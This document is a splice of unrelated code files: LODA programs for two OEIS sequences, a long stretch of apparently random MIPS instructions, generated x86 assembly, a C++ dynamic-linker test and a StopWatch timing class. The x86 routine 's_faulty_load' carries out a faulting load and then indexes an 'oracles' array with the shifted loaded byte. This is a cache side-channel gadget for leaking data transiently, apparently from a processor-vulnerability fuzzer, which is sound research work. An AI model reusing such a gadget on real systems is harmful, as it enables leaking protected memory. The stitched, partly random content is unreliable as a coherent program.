; A103391: 'Even' fractal sequence for the natural numbers: Deleting every even-index term results in the same sequence. ; 1,2,2,3,2,4,3,5,2,6,4,7,3,8,5,9,2,10,6,11,4,12,7,13,3,14,8,15,5,16,9,17,2,18,10,19,6,20,11,21,4,22,12,23,7,24,13,25,3,26,14,27,8,28,15,29,5,30,16,31,9,32,17,33,2,34,18,35,10,36,19,37,6,38,20,39,11,40,21,41,4,42,22,43,12,44,23,45,7,46,24,47,13,48,25,49,3,50,26,51,14,52,27,53,8,54,28,55,15,56,29,57,5,58,30,59,16,60,31,61,9,62,32,63,17,64,33,65,2,66,34,67,18,68,35,69,10,70,36,71,19,72,37,73,6,74,38,75,20,76,39,77,11,78,40,79,21,80,41,81,4,82,42,83,22,84,43,85,12,86,44,87,23,88,45,89,7,90,46,91,24,92,47,93,13,94,48,95,25,96,49,97,3,98,50,99,26,100,51,101,14,102,52,103,27,104,53,105,8,106,54,107,28,108,55,109,15,110,56,111,29,112,57,113,5,114,58,115,30,116,59,117,16,118,60,119,31,120,61,121,9,122,62,123,32,124,63,125,17,126 mov $1,$0 mov $2,$0 lpb $2,1 mov $3,1 add $3,$1 add $4,2 lpb $4,1 trn $0,$1 sub $3,$2 mov $2,$1 sub $4,$3 lpe mov $1,$0 add $1,$3 sub $2,1 lpe add $1,1
ori $ra,$ra,0xf addiu $5,$5,-13046 mthi $5 addu $4,$4,$0 divu $4,$ra divu $2,$ra lb $1,7($0) mflo $1 srav $3,$4,$3 mfhi $1 mfhi $1 addu $2,$5,$2 mfhi $1 addu $0,$3,$3 multu $0,$4 srav $5,$0,$5 mflo $4 sll $5,$5,26 mult $6,$1 mtlo $1 mfhi $4 divu $4,$ra addiu $2,$2,19373 srav $4,$5,$1 sb $3,14($0) addiu $5,$4,5787 addu $4,$4,$2 sll $5,$5,2 addiu $5,$5,15769 mfhi $4 ori $1,$1,40167 div $6,$ra sll $1,$2,13 ori $1,$4,50123 mflo $4 mtlo $0 sb $4,6($0) lb $4,11($0) mtlo $2 srav $4,$4,$4 mflo $0 srav $4,$2,$4 lb $6,15($0) multu $6,$6 lb $5,6($0) mfhi $0 mfhi $1 mflo $4 mtlo $4 mflo $5 addu $1,$2,$1 div $0,$ra mfhi $5 srav $5,$1,$3 lui $1,11960 mfhi $4 sb $4,4($0) sll $4,$2,21 mfhi $1 sb $0,10($0) srav $5,$5,$1 mfhi $1 mfhi $6 divu $4,$ra srav $2,$2,$3 mult $1,$1 srav $4,$5,$1 addu $5,$4,$1 mflo $4 divu $6,$ra addu $1,$4,$3 srav $5,$4,$3 mthi $5 sll $5,$2,28 addu $1,$1,$1 sb $2,5($0) sb $5,11($0) addu $6,$5,$6 ori $5,$1,8232 mtlo $4 mtlo $4 div $6,$ra mthi $6 ori $1,$5,40978 mult $4,$5 ori $4,$4,53785 multu $1,$1 mflo $4 mflo $1 srav $0,$1,$1 divu $4,$ra div $6,$ra mthi $2 sll $5,$2,13 addu $4,$1,$5 mflo $4 multu $6,$2 sb $4,13($0) mult $4,$4 srav $4,$5,$3 mfhi $1 addu $4,$0,$3 divu $5,$ra multu $6,$6 sll $1,$2,8 sll $1,$1,23 mflo $5 div $5,$ra multu $4,$1 sb $4,4($0) mult $5,$6 multu $3,$3 multu $1,$4 divu $4,$ra divu $5,$ra addiu $1,$4,-18025 divu $6,$ra mtlo $1 sll $5,$5,28 lui $6,59408 div $5,$ra mflo $4 srav $1,$4,$5 srav $1,$4,$4 srav $4,$4,$2 addu $1,$2,$5 multu $0,$5 divu $4,$ra lui $4,50201 mflo $2 mflo $0 addu $0,$5,$0 addiu $5,$4,32266 mult $2,$2 srav $1,$4,$1 mult $1,$1 div $6,$ra mflo $4 mtlo $4 srav $4,$6,$5 mthi $4 mflo $0 mthi $4 divu $4,$ra addiu $1,$0,-16167 multu $1,$3 mult $5,$2 divu $4,$ra mthi $4 addu $5,$5,$0 sll $1,$4,1 addiu $6,$0,-26537 sll $0,$0,22 sb $4,1($0) lui $1,13281 divu $0,$ra addiu $4,$2,-2958 divu $6,$ra addiu $4,$5,-21828 mfhi $3 lui $4,60351 divu $1,$ra mthi $1 addiu $1,$0,12254 sb $0,14($0) multu $1,$1 multu $2,$2 lb $4,3($0) multu $5,$0 addu $6,$2,$2 addu $5,$5,$2 sll $4,$4,30 mthi $1 mfhi $4 mfhi $1 mflo $5 addiu $0,$4,3660 div $3,$ra mult $2,$2 divu $6,$ra div $4,$ra div $4,$ra addu $4,$4,$5 srav $5,$2,$2 sll $4,$4,26 div $6,$ra srav $5,$2,$5 multu $4,$2 multu $0,$6 lb $0,5($0) divu $2,$ra mflo $6 lb $4,3($0) mtlo $4 mfhi $1 addiu $4,$2,-20600 div $2,$ra lui $6,59431 mthi $6 mflo $1 mult $4,$4 lui $2,8408 sb $5,16($0) mthi $4 mult $2,$2 addu $3,$1,$3 mtlo $5 sll $2,$2,12 mfhi $1 srav $1,$2,$2 mult $5,$5 sb $2,2($0) sll $1,$2,1 mult $0,$4 multu $4,$4 mtlo $0 div $2,$ra sb $5,9($0) mtlo $2 mflo $5 sll $6,$6,15 srav $2,$5,$2 sb $0,9($0) div $1,$ra mult $4,$2 lui $4,55651 mfhi $0 div $1,$ra mthi $5 mthi $3 mult $5,$5 divu $1,$ra mfhi $5 lui $5,61376 mthi $1 sll $1,$0,24 addu $2,$1,$2 multu $1,$1 srav $4,$4,$5 addu $1,$5,$1 sb $4,0($0) lui $5,26198 lb $5,3($0) mtlo $4 lb $0,16($0) div $5,$ra sll $1,$1,3 lui $5,55742 srav $5,$3,$3 mult $0,$4 mflo $5 mflo $3 divu $4,$ra divu $4,$ra lb $6,8($0) div $6,$ra addu $2,$2,$2 divu $4,$ra mthi $6 mfhi $4 lui $1,42783 multu $5,$2 sb $4,10($0) addiu $0,$2,-23946 divu $3,$ra mult $1,$0 srav $5,$5,$1 div $5,$ra lui $2,42575 div $1,$ra sb $1,9($0) mtlo $4 multu $4,$6 mtlo $1 mfhi $5 lui $4,21895 lui $4,44625 sll $1,$4,31 addu $4,$4,$4 mflo $4 lb $4,3($0) mfhi $4 ori $1,$4,32588 addiu $3,$3,17816 mtlo $4 mfhi $4 addiu $5,$4,-5986 mult $6,$3 divu $4,$ra addu $1,$2,$4 addiu $6,$4,30453 addu $2,$2,$2 mflo $4 multu $4,$6 ori $2,$5,31714 srav $4,$4,$4 ori $5,$5,35586 mflo $2 divu $0,$ra sll $5,$5,7 addiu $4,$4,-11223 lb $4,13($0) divu $4,$ra ori $1,$1,14553 lb $6,14($0) ori $5,$1,52078 mtlo $0 div $2,$ra ori $6,$2,62663 mthi $0 mtlo $1 sb $0,11($0) divu $4,$ra mult $0,$0 srav $6,$6,$4 div $4,$ra mtlo $4 srav $1,$2,$1 mflo $1 lb $4,11($0) multu $5,$5 lb $3,13($0) mfhi $1 srav $5,$2,$2 addu $5,$5,$5 srav $1,$1,$1 div $4,$ra mthi $2 div $1,$ra srav $2,$2,$2 srav $0,$1,$1 mtlo $0 mthi $1 sb $3,10($0) multu $2,$2 mfhi $5 ori $4,$5,61855 lb $1,0($0) sb $3,1($0) multu $6,$6 sb $1,4($0) div $4,$ra mfhi $3 lb $5,3($0) mfhi $4 lb $2,4($0) multu $3,$3 sb $1,10($0) mtlo $2 mflo $4 sll $2,$1,17 ori $5,$0,8200 mtlo $5 ori $6,$4,31919 srav $4,$4,$1 lb $4,16($0) multu $4,$4 addiu $3,$3,-4603 srav $4,$2,$5 sb $1,12($0) sb $0,9($0) ori $4,$0,18121 srav $5,$4,$4 lb $0,14($0) mfhi $5 srav $3,$2,$3 div $5,$ra multu $5,$3 addiu $5,$5,-17618 multu $4,$4 addiu $4,$4,18773 addiu $1,$1,13188 sll $6,$5,12 sll $6,$6,18 divu $1,$ra mflo $1 sll $2,$2,15 srav $1,$3,$3 div $1,$ra div $2,$ra ori $6,$6,55631 mflo $0 lui $5,16163 mflo $1 mfhi $6 sb $0,7($0) lb $0,4($0) multu $4,$2 sb $2,13($0) sll $5,$4,29 mthi $6 sll $2,$2,15 addiu $5,$4,-5139 srav $0,$4,$6 div $4,$ra mult $5,$2 mflo $4 mtlo $4 addu $5,$3,$3 lb $4,11($0) div $1,$ra mtlo $2 lb $1,1($0) addu $4,$1,$1 lui $5,54201 multu $5,$1 mthi $5 div $1,$ra mult $5,$0 srav $4,$2,$4 divu $4,$ra mult $3,$1 mthi $4 ori $1,$2,17172 sll $1,$4,26 addu $3,$1,$3 multu $1,$4 mflo $3 mflo $6 div $1,$ra mflo $3 divu $5,$ra mthi $4 ori $4,$4,62129 ori $4,$4,21244 mfhi $0 mthi $4 mflo $1 lui $4,9477 sb $4,6($0) sll $1,$0,7 addiu $4,$1,-28532 lb $5,10($0) lui $4,36130 divu $2,$ra ori $4,$2,35667 mthi $2 mtlo $1 addiu $6,$0,-259 multu $4,$4 mfhi $5 mthi $4 div $2,$ra lb $1,14($0) lui $6,41954 divu $5,$ra addu $5,$4,$4 sb $0,15($0) sll $4,$1,3 mflo $2 lui $3,16513 sb $6,13($0) lui $1,17560 addiu $4,$2,10583 multu $5,$5 multu $1,$1 lui $4,47963 multu $5,$1 mthi $0 div $1,$ra ori $3,$4,56432 div $2,$ra mthi $1 divu $0,$ra mult $4,$5 lui $1,63373 srav $6,$0,$2 ori $2,$2,51942 addu $3,$3,$3 addu $2,$2,$3 mthi $0 mthi $1 sb $0,4($0) addiu $1,$2,-6814 lui $6,11545 mfhi $6 mtlo $6 sb $5,4($0) srav $3,$3,$3 div $0,$ra mtlo $4 divu $2,$ra multu $4,$1 mflo $4 mflo $4 lb $4,13($0) mthi $4 mtlo $1 div $4,$ra mult $0,$0 lui $6,37182 mult $4,$4 lb $2,12($0) divu $1,$ra addiu $5,$4,-12026 divu $6,$ra addiu $0,$2,-23621 sll $4,$5,21 sll $3,$5,11 ori $4,$4,23266 mthi $5 lb $4,11($0) lui $5,24700 srav $3,$4,$3 addu $5,$2,$5 multu $1,$5 srav $4,$4,$6 lb $5,5($0) addu $2,$2,$2 multu $5,$1 addu $1,$0,$2 srav $3,$3,$3 srav $5,$5,$1 mult $0,$1 sll $4,$4,15 div $4,$ra lb $1,12($0) mtlo $4 mtlo $1 divu $6,$ra mfhi $1 divu $4,$ra div $2,$ra addu $4,$2,$3 mthi $4 ori $5,$5,47589 mtlo $2 mthi $4 addu $4,$4,$3 sb $4,0($0) mthi $1 mtlo $5 sll $6,$3,24 addiu $1,$1,-1538 mtlo $1 addiu $3,$1,7068 div $4,$ra mfhi $4 mult $6,$2 mtlo $4 srav $4,$1,$6 mthi $4 lui $3,10878 lb $4,4($0) lb $2,5($0) mult $4,$4 divu $3,$ra mflo $1 ori $5,$5,12348 srav $5,$5,$1 multu $6,$4 lb $4,15($0) mtlo $5 divu $5,$ra sll $2,$2,4 lb $3,2($0) divu $6,$ra div $6,$ra mflo $5 divu $5,$ra srav $4,$6,$4 lui $0,44549 srav $4,$4,$4 addiu $1,$5,21183 addu $4,$4,$2 sll $6,$6,23 srav $4,$4,$4 srav $0,$2,$5 sll $0,$0,8 mult $0,$0 mtlo $5 div $1,$ra mtlo $5 addiu $4,$2,22709 mflo $5 sll $6,$4,11 lb $4,9($0) srav $6,$1,$1 divu $4,$ra mthi $4 sll $5,$5,3 multu $5,$4 mflo $4 divu $5,$ra mfhi $1 div $5,$ra addiu $4,$2,6196 mfhi $0 srav $0,$4,$5 sll $3,$3,6 addu $2,$2,$1 mtlo $5 mult $6,$6 addiu $5,$5,-1817 mfhi $1 mfhi $1 mflo $5 multu $5,$3 mthi $2 addu $4,$1,$1 multu $0,$2 divu $5,$ra lb $5,0($0) addiu $1,$5,-21823 multu $3,$3 mult $5,$3 mflo $4 ori $5,$6,43211 lui $2,43550 lui $4,21780 mtlo $5 lb $5,6($0) div $1,$ra lb $2,14($0) sll $3,$2,17 mfhi $5 mfhi $5 sb $4,8($0) multu $3,$2 sb $4,3($0) sb $1,14($0) mthi $1 mflo $5 ori $4,$5,34595 ori $3,$2,2771 ori $5,$5,27052 div $4,$ra lui $1,35829 lui $1,10741 srav $1,$6,$1 ori $4,$3,11637 mflo $6 mthi $5 mult $1,$1 lui $5,38291 lb $4,0($0) div $0,$ra mthi $2 lb $1,0($0) sll $4,$4,21 divu $4,$ra addu $1,$3,$3 addu $0,$4,$4 ori $4,$4,41020 mult $5,$2 div $4,$ra divu $4,$ra mflo $5 srav $3,$3,$3 srav $5,$1,$1 div $4,$ra ori $3,$2,18710 addu $5,$1,$1 mult $4,$5 sll $0,$0,23 sll $5,$6,1 srav $6,$2,$2 lui $5,58074 div $2,$ra multu $5,$5 multu $4,$2 div $4,$ra mult $3,$4 lb $4,2($0) divu $4,$ra sll $5,$5,5 divu $4,$ra mtlo $3 multu $4,$2 mult $0,$0 multu $0,$0 addu $0,$6,$5 sb $1,7($0) srav $0,$4,$2 sll $1,$2,13 mult $1,$4 srav $0,$2,$4 sll $4,$4,28 div $5,$ra mfhi $2 mtlo $6 mthi $2 multu $4,$1 mult $3,$3 mtlo $5 mfhi $2 div $5,$ra srav $0,$5,$1 mult $2,$4 multu $5,$5 mflo $4 lb $0,2($0) lui $5,36529 mfhi $4 ori $2,$4,42008 srav $4,$4,$4 div $5,$ra mflo $6 divu $2,$ra addu $5,$5,$3 lui $4,27262 srav $4,$5,$3 divu $4,$ra sb $4,8($0) div $5,$ra sll $4,$2,14 sb $0,2($0) sb $0,13($0) ori $6,$4,54 multu $6,$1 addu $1,$2,$1 addiu $4,$2,-28702 mtlo $3 multu $4,$4 divu $1,$ra mflo $6 div $4,$ra addiu $2,$2,28527 addu $6,$6,$4 addiu $4,$1,-29518 multu $4,$1 mult $1,$2 mflo $3 sll $1,$3,0 multu $4,$2 mtlo $4 sll $2,$2,16 srav $4,$5,$4 div $4,$ra div $6,$ra lui $2,59387 mflo $6 mfhi $1 mtlo $5 multu $3,$0 ori $2,$0,59717 multu $2,$2 divu $3,$ra sb $2,10($0) divu $4,$ra lb $4,7($0) multu $5,$5 mfhi $1 lb $5,0($0) sb $3,4($0) divu $3,$ra div $5,$ra ori $6,$0,60726 multu $6,$4 mthi $2 sb $3,6($0) lui $5,21865 sb $1,12($0) lui $2,43276 ori $4,$4,11415 ori $4,$4,11917 mult $5,$6 addiu $1,$1,6461 sb $0,12($0) divu $5,$ra multu $6,$6 mtlo $4 sll $4,$6,22 srav $4,$4,$3 mtlo $5 div $6,$ra addu $4,$6,$4 mtlo $6 mflo $4 sll $5,$3,28 addiu $3,$3,-21532 mfhi $4 mfhi $0 sb $3,9($0) mtlo $3 divu $0,$ra mfhi $1 sll $2,$1,15 mtlo $0 div $4,$ra mflo $4 multu $1,$5 mtlo $3 div $6,$ra mflo $4 addu $5,$0,$3 addiu $5,$2,-13255 sll $0,$0,21 srav $5,$3,$3 mtlo $4 srav $4,$4,$4 mflo $4 multu $1,$1 mtlo $4 lb $5,14($0) mflo $1 sll $4,$2,10 mfhi $5 mtlo $0 sb $4,10($0) mfhi $2 mthi $2 lui $1,30244 ori $5,$0,58367 divu $1,$ra lb $6,5($0) divu $0,$ra mtlo $0 sll $4,$5,4 mfhi $4 lb $1,14($0) divu $4,$ra multu $3,$5 mthi $3 ori $2,$4,39468 mflo $6 lb $1,3($0) addu $4,$4,$5 srav $5,$1,$4 sb $3,16($0) mfhi $0 lui $6,36059 mflo $1 addiu $4,$4,20770 divu $2,$ra ori $0,$6,4392 multu $6,$4 addiu $4,$1,5265 mthi $2 srav $4,$4,$6 ori $5,$4,59399 divu $5,$ra mult $4,$2 srav $6,$6,$6 ori $4,$5,19119 mflo $1 ori $5,$1,29588 sll $0,$2,20 divu $5,$ra mtlo $4 sb $4,8($0) div $4,$ra ori $0,$0,43043 divu $0,$ra mthi $1 div $3,$ra lb $5,6($0) mfhi $0 multu $2,$6 addiu $3,$3,12357 div $1,$ra srav $4,$4,$3 multu $4,$6 ori $6,$1,7533 sll $4,$5,3 sb $4,12($0) div $4,$ra srav $6,$4,$3 addiu $5,$1,-7291 mthi $5 sll $5,$2,27 mfhi $4 lb $3,16($0) lui $3,64168 addu $5,$0,$0 mfhi $0 mflo $2 lui $4,31472 addu $1,$1,$1 multu $4,$4 div $5,$ra div $3,$ra lb $1,5($0) mult $2,$4 sb $5,5($0) div $3,$ra lb $0,0($0) ori $2,$2,34383 addiu $4,$2,-6355 sll $4,$2,6 lui $1,48944 div $2,$ra addiu $3,$3,32716 addiu $2,$2,-29373 addu $1,$4,$4 mfhi $5 srav $4,$2,$4 sb $2,8($0) lb $2,13($0)
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x180a8, %rsi lea addresses_D_ht+0x14ee0, %rdi add $46957, %r12 mov $127, %rcx rep movsq nop nop nop nop nop and $56889, %r11 lea addresses_D_ht+0x103e0, %r9 nop nop nop xor %rbx, %rbx mov $0x6162636465666768, %r12 movq %r12, %xmm0 and $0xffffffffffffffc0, %r9 movaps %xmm0, (%r9) nop nop nop nop sub %rdi, %rdi lea addresses_WC_ht+0x2550, %rdi nop nop nop nop nop xor %rsi, %rsi mov (%rdi), %r11d nop nop nop and %rdi, %rdi pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r15 push %r8 push %rdi push %rdx // Store lea addresses_RW+0x52f, %rdi xor %r11, %r11 movw $0x5152, (%rdi) nop nop sub $40734, %r8 // Store mov $0x4543690000000de0, %rdx nop nop nop nop nop cmp %r15, %r15 mov $0x5152535455565758, %rdi movq %rdi, %xmm1 movups %xmm1, (%rdx) nop xor $21145, %r8 // Faulty Load lea addresses_PSE+0xbbe0, %r14 nop nop nop sub %r13, %r13 movups (%r14), %xmm3 vpextrq $0, %xmm3, %rdi lea oracles, %r15 and $0xff, %rdi shlq $12, %rdi mov (%r15,%rdi,1), %rdi pop %rdx pop %rdi pop %r8 pop %r15 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_RW', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
; A049651: a(n) = (F(3*n+1) - 1)/2, where F=A000045 (the Fibonacci sequence). ; 0,1,6,27,116,493,2090,8855,37512,158905,673134,2851443,12078908,51167077,216747218,918155951,3889371024,16475640049,69791931222,295643364939,1252365390980,5305104928861,22472785106426,95196245354567,403257766524696,1708227311453353,7236167012338110 mov $3,1 lpb $0,1 sub $0,1 add $1,2 mov $2,$3 mul $3,2 add $1,$3 add $3,$1 mov $1,$2 lpe
/* * Copyright (c) Hubert Jarosz. All rights reserved. * Licensed under the MIT license. See LICENSE file in the project root for full license information. */ #ifdef _WIN32 #define TEST_LIB "./test.dll" #else #define TEST_LIB "./test.lib" #endif #include "dynamicLinker.hpp" #include <iostream> #include <memory> #include <string> typedef int sum_type ( int x, int y ); bool openException_test1() { bool catched = false; const std::string path = "./none.lib"; auto dl = dynamicLinker::dynamicLinker::make_new(path); auto f = dl->getFunction< sum_type >("sum"); try { dl->open(); f.init(); std::cout << f( 2, 3 ) << std::endl; } catch( const dynamicLinker::dynamicLinkerException& e ) { //std::cerr << "OK! Catched exception from dl: " << e.what() << std::endl; catched = true; } return catched; } bool symbolException_test1() { bool catched = false; const std::string path = TEST_LIB; auto dl = dynamicLinker::dynamicLinker::make_new(path); auto f = dl->getFunction< sum_type >("sum_"); try { dl->open(); f.init(); std::cout << f( 2, 3 ) << std::endl; } catch( const dynamicLinker::dynamicLinkerException& e ) { //std::cerr << "OK! Catched exception from dl: " << e.what() << std::endl; catched = true; } return catched; } bool closedException_test1() { bool catched = false; const std::string path = TEST_LIB; auto dl = dynamicLinker::dynamicLinker::make_new(path); auto f = dl->getFunction< sum_type >("sum"); try { f.init(); std::cout << f( 2, 3 ) << std::endl; } catch( const dynamicLinker::dynamicLinkerException& e ) { //std::cerr << "OK! Catched exception from dl: " << e.what() << std::endl; catched = true; } return catched; } bool symbolInitException_test1() { bool catched = false; const std::string path = TEST_LIB; auto dl = dynamicLinker::dynamicLinker::make_new(path); auto f = dl->getFunction< sum_type >("sum"); try { dl->open(); std::cout << f( 2, 3 ) << std::endl; } catch( const dynamicLinker::dynamicLinkerException& e ) { //std::cerr << "OK! Catched exception from dl: " << e.what() << std::endl; catched = true; } return catched; } int working_test1() { int result = 0; const std::string path = TEST_LIB; auto dl = dynamicLinker::dynamicLinker::make_new(path); auto f = dl->getFunction< sum_type >("sum"); try { dl->open(); f.init(); result = f( 2, 3 ); } catch( const dynamicLinker::dynamicLinkerException& e ) { std::cerr << e.what() << std::endl; } return result; } int working_test2() { int result = 0; const std::string path = TEST_LIB; auto dl = dynamicLinker::dynamicLinker::make_new(path); auto f = dl->getFunction< sum_type >("sum"); try { dl->open(); dl.reset(); // dl is not deleted, because f have shared_ptr to it f.init(); result = f( 2, 3 ); } catch( const dynamicLinker::dynamicLinkerException& e ) { std::cerr << e.what() << std::endl; } return result; } int test() { int value = 5; if( !openException_test1() ) { return 1; } if( !symbolException_test1() ) { return 2; } if( !closedException_test1() ) { return 3; } if( !symbolInitException_test1() ) { return 4; } if( working_test1() != value ) { return 5; } if ( working_test2() != value ) { return 6; } return 0; } int main() { int status = test(); if( status == 0 ) { std::cout << "Test passed." << std::endl; } else { std::cerr << "Test failed!" << std::endl; return status; } return 0; }
/* * File: StopWatch.cpp * Author: Julian Gaal * From: https://github.com/juliangaal/StopWatch * * Created on 2018-29-06 */ #include "../include/StopWatch.hpp" #include <iostream> using std::pair; using std::chrono::nanoseconds; using std::chrono::microseconds; using std::chrono::milliseconds; using std::chrono::seconds; using std::chrono::minutes; using std::chrono::hours; using std::chrono::duration_cast; using std::unordered_map; using std::string; StopWatch::StopWatch() : pauseDuration(0), paused(false) { timepoints["start"] = Clock::now(); static_assert(Clock::is_steady, "Serious OS/C++ library issues. Steady Clock is not steady"); } StopWatch::StopWatch(const StopWatch &other) : pauseDuration(0), paused(false) { timepoints.at("start") = other.timepoints.at("start"); } StopWatch &StopWatch::operator=(const StopWatch &rhs) { timepoints.at("start") = rhs.timepoints.at("start"); return *this; } rep StopWatch::ElapsedNs() const { return duration_cast<nanoseconds>(Clock::now() - timepoints.at("start") - pauseDuration).count(); } rep StopWatch::ElapsedUs() const { return duration_cast<microseconds>(Clock::now() - timepoints.at("start") - pauseDuration).count(); } rep StopWatch::ElapsedMs() const { return duration_cast<milliseconds>(Clock::now() - timepoints.at("start") - pauseDuration).count(); } rep StopWatch::ElapsedSec() const { return duration_cast<seconds>(Clock::now() - timepoints.at("start") - pauseDuration).count(); } rep StopWatch::ElapsedNsSince(const string &timepointID) const { if (timepoints.find(timepointID) != std::end(timepoints)) return duration_cast<nanoseconds>(Clock::now() - timepoints.at(timepointID) - pauseDuration).count(); else return duration_cast<nanoseconds>(Clock::now() - timepoints.at("start") - pauseDuration).count(); } rep StopWatch::ElapsedUsSince(const string &timepointID) const { if (timepoints.find(timepointID) != std::end(timepoints)) return duration_cast<microseconds>(Clock::now() - timepoints.at(timepointID) - pauseDuration).count(); else return duration_cast<microseconds>(Clock::now() - timepoints.at("start") - pauseDuration).count(); } rep StopWatch::ElapsedMsSince(const string &timepointID) const { if (timepoints.find(timepointID) != std::end(timepoints)) return duration_cast<milliseconds>(Clock::now() - timepoints.at(timepointID) - pauseDuration).count(); else return duration_cast<milliseconds>(Clock::now() - timepoints.at("start") - pauseDuration).count(); } rep StopWatch::ElapsedSecSince(const string &timepointID) const { if (timepoints.find(timepointID) != std::end(timepoints)) return duration_cast<seconds>(Clock::now() - timepoints.at(timepointID) - pauseDuration).count(); else return duration_cast<seconds>(Clock::now() - timepoints.at("start") - pauseDuration).count(); } void StopWatch::Restart() { timepoints.at("start") = Clock::now(); } Clock::time_point StopWatch::RestartPoint() { Restart(); return timepoints.at("start"); } void StopWatch::Pause() { if (!paused) { if (timepoints.find("pause") != std::end(timepoints)) { timepoints.at("pause") = Clock::now(); paused = true; } else { timepoints["pause"] = Clock::now(); paused = true; } } } void StopWatch::Resume() { if (paused) { pauseDuration += (Clock::now() - timepoints.at("pause")); paused = false; } } void StopWatch::addTimePoint(const string &id) { if (timepoints.find(id) != std::end(timepoints)) { timepoints.at(id) = Clock::now(); } else { unordered_map<string, Clock::time_point>::iterator iter; bool success; std::tie(iter, success) = timepoints.insert(pair<string, Clock::time_point>(id, Clock::now())); if (!success) std::cerr << "Can't set timepoint\n"; } } std::ostream &operator<<(std::ostream &os, const StopWatch &s) { os << s.ElapsedSec() << ":" << s.ElapsedMs() << ":" << s.ElapsedNs() << "s\n"; return os; }
